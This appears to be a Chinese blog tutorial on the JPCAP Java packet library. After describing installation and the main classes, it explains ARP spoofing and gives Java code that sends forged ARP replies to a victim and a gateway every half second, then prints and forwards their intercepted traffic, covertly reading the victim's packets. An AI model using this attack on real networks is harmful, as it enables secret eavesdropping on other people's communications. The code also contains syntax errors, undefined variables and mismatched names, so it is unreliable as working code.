使用JPCAP实现ARP欺骗

1、JPCAP简介 

      众所周知，JAVA语言虽然在TCP/UDP传输方面给予了良好的定义，但对于网络层以下的控制，却是无能为力的。JPCAP扩展包弥补了这一点。JPCAP实际上并非一个真正去实现对数据链路层的控制，而是一个中间件，JPCAP调用wincap/libpcap，而给JAVA语言提供一个公共的接口，从而实现了平台无关性。在官方网站上声明，JPCAP支持FreeBSD 3.x, Linux RedHat 6.1, Fedora Core 4, Solaris, and Microsoft Windows 2000/XP等系统。

JPCAP安装：     

（1）首先得要有java编译环境，也就是jdk什么的，就不赘述了。我这里是用的Eclipse进行这个实验。

（2）其次需要安装Winpcap，Winpcap是windows平台下的一个免费的，公共的网络访问系统（Linux系统是Libpcap），Jpcap就是调用Winpcap给java提供一个公共的接口，从而实现平台无关性，并能够捕获发送数据包。Winpcap在这里下载：Winpcap下载地址。

（3）之后我们还需要下载Jpcap，Jpcap包括Jpcap.jar和Jpcap.dll，两者需要版本一致，并且区分32位和64位（64位下载地址）。将Jpcap.jar导入你的Eclipse项目，并且把Jpcap.dll复制到java的jdk的bin目录下，就OK了。

2、JPCAP机制 

     JPCAP的整个结构大体上跟wincap/libpcap是很相像的，例如NetworkInterface类对应wincap 的typedef struct _ADAPTER  ADAPTER，getDeviceList()对应pcap_findalldevs()等等。 JPCAP有16个类，下面就其中最重要的4个类做说明。 

(1) NetworkInterface：

      该类的每一个实例代表一个网络设备，一般就是网卡。这个类只有一些数据成员，除了继承自java.lang.Object的基本方法以外，没有定义其它方法。 

    数据成员： 

1）NetworkInterfaceAddress[] addresses： 

这个接口的网络地址。设定为数组应该是考虑到有些设备同时连接多条线路，例如路由器。但我们的PC机的网卡一般只有一条线路，所以我们一般取addresses[0]就够了。 

2）java.lang.String datalink_description： 

数据链路层的描述。描述所在的局域网是什么网。例如，以太网（Ethernet）、无线LAN网（wireless LAN）、令牌环网(token ring)等等。 

3）java.lang.String datalink_name： 

 该网络设备所对应数据链路层的名称。具体来说，例如Ethernet10M、100M、1000M等等。 

4）java.lang.String description： 

网卡是XX牌子XX型号之类的描述。例如我的网卡描述：Realtek RTL8169/8110 Family Gigabit Ethernet NIC 

5、boolean Loopback： 

标志这个设备是否loopback设备。 

6）byte[] mac_address： 

网卡的MAC地址，6个字节。 

7）java.lang.String Name ：

这个设备的名称。例如我的网卡名称：\Device\NPF_{3CE5FDA5-E15D-4F87-B217-255BCB351CD5} 

（2）JpcapCaptor ：
     该类提供了一系列静态方法实现一些基本的功能。该类一个实例代表建立了一个与指定设备的链接，可以通过该类的实例来控制设备，例如设定网卡模式、设定过滤关键字等等。 

    数据成员： 

1）int dropped_packets：抛弃的包的数目。 

2）protected  int ID： 

这个数据成员在官方文档中并没有做任何说明，查看JPCAP源代码可以发现这个ID实际上在其JNI的C代码部分传进来的，这类本身并没有做出定义，所以是供其内部使用的。实际上在对JpcapCator实例的使用中也没有办法调用此数据成员。 

3）protected static boolean[] instanciatedFlag： 

同样在官方文档中没有做任何说明，估计其为供内部使用。 

4）protected static int MAX_NUMBER_OF_INSTANCE： 

同样在官方文档中没有做任何说明，估计其为供内部使用。 

5）int received_packets：收到的包的数目 

     方法成员： 

1）static NetworkInterface[] getDeviceList()：获取本机的网络接口列表。

2）static JpcapCaptor openDevice(NetworkInterface interface, int snaplen, boolean promisc, int to_ms) ：

    创建一个与指定设备的连接并返回该连接。注意，以上两个方法都是静态方法。 

Interface：要打开连接的设备的实例； 

Snaplen：这个是比较容易搞混的一个参数。其实这个参数不是限制只能捕捉多少数据包，而是限制每 一次收到一个数据包，只提取该数据包中前多少字节； 

Promisc：设置是否混杂模式。处于混杂模式将接收所有数据包，若之后又调用了包过滤函数setFilter()将不起任何作用； 

To_ms：这个参数主要用于processPacket()方法，指定超时的时间； 

3）void Close()： 

关闭调用该方法的设备的连接，相对于openDivece()打开连接。 

4）JpcapSender getJpcapSenderInstance() 

该返回一个JpcapSender实例，JpcapSender类是专门用于控制设备的发送数据包的功能的类。 

5）Packet getPacket() 

捕捉并返回一个数据包。这是JpcapCaptor实例中四种捕捉包的方法之一。 

6）int loopPacket(int count, PacketReceiver handler) 

捕捉指定数目的数据包，并交由实现了PacketReceiver接口的类的实例处理，并返回捕捉到的数据包数目。如果count参数设为－1，那么无限循环地捕捉数据。这个方法不受超时的影响。还记得openDivice()中的to_ms参数么？那个参数对这个方法没有影响，如果没有捕捉到指定数目数据包，那么这个方法将一直阻塞等待。 

PacketReceiver中只有一个抽象方法void receivePacket(Packet p)。 

7）int processPacket(int count, PacketReceiver handler) 

跟loopPacket()功能一样，唯一的区别是这个方法受超时的影响，超过指定时间自动返回捕捉到数据包的数目。 

8）int dispatchPacket(int count, PacketReceiver handler) 

跟processPacket()功能一样，区别是这个方法可以处于“non-blocking”模式工作，在这种模式下dispatchPacket()可能立即返回，即使没有捕捉到任何数据包。 

9）void setFilter(java.lang.String condition, boolean optimize) 

condition：设定要提取的包的关键字。 

optimize：这个参数在说明文档以及源代码中都没有说明，只是说这个参数如果为真，那么过滤器将处 于优化模式。 

10）void setNonBlockingMode(boolean nonblocking) 

 如果值为“true”，那么设定为“non-blocking”模式。 

11）void breakLoop() 

当调用processPacket()和loopPacket()后，再调用这个方法可以强制让processPacket()和loopPacket()停止。 

（3）JpcapSender 

            该类专门用于控制数据包的发送，继承了java.lang.Object。

    方法成员 ：

1）void close()：  强制关闭这个连接。 

2）static JpcapSender openRawSocket() 

     这个方法返回的JpcapSender实例发送数据包时将自动填写数据链路层头部分。 

3）void sendPacket(Packet packet) 

    JpcapSender最重要的功能，发送数据包。需要注意的是，如果调用这个方法的实例是由JpcapCaptor的getJpcapSenderInstance()得到的话，需要自己设定数据链路层的头，而如果是由上面的openRawSocket() 得到的话，那么无需也不能设置，数据链路层的头部将由系统自动生成。

（4）Packet ：这个是所有其它数据包类的父类。

（5）ARPPacket ：这个类描述了ARP/RARP包，继承了Packet类。

（6）DatalinkPacket ：这个抽象类描述了数据链路层，它继承了java.lang.Object。

（7）EthernetPacket ：这个类描述了以太帧包，继承DatalinkPacket类。

（8）IPPacket ：这个类描述了IP包，继承了Packet类，支持IPv4和IPv6。

（9）ICMPPacket ：这个类描述了ICMP包，继承了IPPacket类。

（10）IPAddress ：这个类描述了IPv4和IPv6地址，其中也包含了将IP地址转换为域名的方法，继承了java.lang.Object。

（11）IPv6Option ：这个类描述了IPv6选项报头，它继承了java.lang.Object。

（12）TCPPacket ：这个类描述TCP包，继承了IPPacket类。

（13）UDPPacket ：这个类描述了UDP包，继承了IPPacket类。

（14）JpcapWriter ：它用来将一个被捕获的数据包保存到文件，继承了java.lang.Object。

（15）JpcapHandler ：这个接口用来定义分析被捕获数据包的方法。

（16）Jpcap：它用来捕获数据包，继承了java.lang.Object。

3．使用JPCAP实现监听 

（1）监听原理 
      在详细说用JPCAP实现网络监听实现前，先简单介绍下监听的原理。局域网监听利用的是所谓的“ARP欺骗”技术。在以前曾经一段阶段，局域网的布局是使用总线式（或集线式）结构，要到达监听只需要将网卡设定为混杂模式即可，但现在的局域网络普遍采用的是交换式网络，所以单纯靠混杂模式来达到监听的方法已经不可行了。所以为了达到监听的目的，我们需要“欺骗”路由器、“欺骗”交换机，即“ARP欺骗”技术。 
      假设本机为A，监听目标为B。 首先，伪造一个ARP REPLY包，数据链路层头及ARP内容部分的源MAC地址填入A的MAC地址，而源IP部分填入网关IP，目的地址填入B的MAC、IP，然后将这个包发送给B，而B接收到这个伪造的ARP REPLY包后，由于源IP为网关IP，于是在它的ARP缓存表里刷新了一项，将（网关IP，网关MAC）刷新成（网关IP，A的MAC）。而B要访问外部的网都需要经过网关，这时候这些要经过网关的包就通通流到A的机器上来了。 
      接着，再伪造一个ARP REPLY包，数据链路层头及ARP内容部分的源MAC地址填入A的MAC地址，而源IP部分填入B的IP，目的地址填入网关MAC、IP，然后将这个包发给网关，网关接收到这个伪造的ARP REPLY包后，由于源IP为B的IP，于是在它的ARP缓存表里刷新了一项，将（B的IP，B的MAC）刷新成（B的IP，A的MAC）。这时候外部传给B的数据包经过网关时，就通通转发给A。 
     这样还只是拦截了B的数据包而已，B并不能上网——解决方法是将接收到的包，除了目的地址部分稍做修改，其它原封不动的再转发出去，这样就达到了监听的目的——在B不知不觉中浏览了B所有的对外数据包。 

2．用JPCAP实现监听 
   就如上面说的，为了实现监听，我们必须做四件事： 

A． 发送ARP包修改B的ARP缓存表； 

B． 发送ARP包修改路由ARP缓存表； 

C． 转发B发过来的数据包； 

D． 转发路由发过来的数据包； 

     下面我们给个小小的例子说明怎样实现。我们假定运行这个程序的机器A只有一个网卡，只接一个网络，所在局域网为Ethernet，并且假定已经通过某种方式获得B和网关的MAC地址（例如ARP解析获得）。我们修改了B和网关的ARP表，并对他们的包进行了转发。 

public class changeARP{ 

private NetworkInterface[] devices;        //获取本机接口设备列表 

private NetworkInterface device;            //要使用的设备 

private JpcapCaptor jpcap;                     //与设备的连接 

private JpcapSender sender;                  //用于发送的实例 

private byte[] targetMAC, gateMAC;        //B的MAC地址，网关的MAC地址 

private byte[] String targetIp, String gateIp; //B的IP地址，网关的IP地址 

/** 

*初始化设备 

* JpcapCaptor.getDeviceList()得到设备可能会有两个，其中一个必定是“Generic 

*dialup adapter”，这是windows系统的虚拟网卡，并非真正的硬件设备。 

*注意：在这里有一个小小的BUG，如果JpcapCaptor.getDeviceList()之前有类似JFrame jf=new 

*JFame（）这类的语句会影响得到设备个数，只会得到真正的硬件设备，而不会出现虚拟网卡。 

*虚拟网卡只有MAC地址而没有IP地址，而且如果出现虚拟网卡，那么实际网卡的MAC将分 

*配给虚拟网卡，也就是说在程序中调用device. mac_address时得到的是00 00 00 00 00 00。 

*/ 

private NetworkInterface getDevice() throws IOException { 

devices = JpcapCaptor.getDeviceList(); //获得本机接口设备列表 

device = devices[0];                               //当本机只有一个接口设备时

jpcap = JpcapCaptor.openDevice(device, 2000, false, 10000); //打开与设备的连接 

jpcap.setFilter(“ip”,true);                        //只监听B的IP数据包 

sender = captor.getJpcapSenderInstance(); 

} 

/** 

*修改B和网关的ARP表。因为网关会定时发数据包刷新自己和B的缓存表，所以必须每隔一 

*段时间就发一次包重新更改B和网关的ARP表。 

*@参数 targetMAC B的MAC地址，可通过ARP解析得到； 

*@参数 targetIp B的IP地址； 

*@参数 gateMAC 网关的MAC地址； 

*@参数 gateIp 网关的IP; 

*/ 

public changeARP(byte[] targetMAC, String targetIp,byte[] gateMAC, String gateIp) 

throws UnknownHostException,InterruptedException { 

this. targetMAC =  targetMAC; 

this. targetIp =  targetIp; 

this. gateMAC = gateMAC; 

this. gateIp = gateIp; 

getDevice(); 

arpTarget = new ARPPacket(); //修改B的ARP表的ARP包 

arpTarget.hardtype = ARPPacket.HARDTYPE_ETHER; //选择以太网类型(Ethernet) 

arpTarget.prototype = ARPPacket.PROTOTYPE_IP; //选择IP网络协议类型 

arpTarget.operation = ARPPacket.ARP_REPLY; //选择REPLY类型 

arpTarget.hlen = 6; //MAC地址长度固定6个字节 

arpTarget.plen = 4; //IP地址长度固定4个字节 

arpTarget.sender_hardaddr = device.mac_address; //A的MAC地址 

arpTarget.sender_protoaddr = InetAddress.getByName(gateIp).getAddress(); //网关IP 

arpTarget.target_hardaddr = targetMAC; //B的MAC地址 

arpTarget.target_protoaddr = InetAddress.getByName(targetIp).getAddress(); //B的IP 

EthernetPacket ethToTarget = new EthernetPacket(); //创建一个以太网头 

ethToTarget.frametype = EthernetPacket.ETHERTYPE_ARP; //选择以太包类型 

ethToTarget.src_mac = device.mac_address; //A的MAC地址 

ethToTarget.dst_mac = targetMAC; //B的MAC地址 

arpTarget.datalink = ethToTarget; //将以太头添加到ARP包前 

arpGate = new ARPPacket(); //修改网关ARP表的包 

arpGate.hardtype = ARPPacket.HARDTYPE_ETHER; //跟以上相似，不再重复注析 

arpGate.prototype = ARPPacket.PROTOTYPE_IP; 

arpGate.operation = ARPPacket.ARP_REPLY; 

arpGate.hlen = 6; 

arpGate.plen = 4; 

arpGate.sender_hardaddr = device.mac_address; 

arpGate.sender_protoaddr = InetAddress.getByName(targetIp).getAddress(); 

arpGate.target_hardaddr = gateMAC; 

arpGate.target_protoaddr = InetAddress.getByName(gateIp).getAddress(); 

EthernetPacket ethToGate = new EthernetPacket(); 

ethToGate.frametype = EthernetPacket.ETHERTYPE_ARP; 

ethToGate.src_mac = device.mac_address; 

ethToGate.dst_mac = gateMAC; 

arpGate.datalink = ethToGate; 

thread=new Thread(new Runnable(){ //创建一个进程控制发包速度 

public void run() { 

while (true) { 

sender.sendPacket(arpTarget); 

sender.sendPacket(arpGate); 

Thread.sleep(500); 

}).start(); 

recP(); //接收数据包并转发 

} 

/** 

*修改包的以太头，转发数据包 

*参数 packet 收到的数据包 

*参数 changeMAC 要转发出去的目标 

*/ 

private void send(Packet packet, byte[] changeMAC) {

EthernetPacket eth; 

if (packet.datalink instanceof EthernetPacket) { 

eth = (EthernetPacket) packet.datalink; 

for (int i = 0; i < 6; i++) { 

eth.dst_mac[i] = changeMAC[i]; //修改包以太头，改变包的目标 

eth.src_mac[i] = device.mac_address[i]; //源发送者为A 

} 

sender.sendPacket(packet); 

} 

} 

/** 

*打印接受到的数据包并转发 

*/ 

public void recP(){ 

IPPacket ipPacket = null; 

while(true){ 

ipPacket = （IPPacket）jpcap.getPacket(); 

System.out.println(ipPacket); 

if (ipPacket.src_ip.getHostAddress().equals(targetIp)) 

send(packet, gateMAC); 

else 

send(packet, targetMAC); 

}

} 

}

注：在网络抓包时，多台电脑连接在同一集线器-hub时，在本机上可以抓在和你在同一冲突域下的所有包,只需要将网络接口设置为混杂模式即可。如果想要抓多台连接到交换机的包时，需要在交换机设置镜像端口，然后把本机连接到镜像端口，这样就可以抓到所有通过交换机的包了。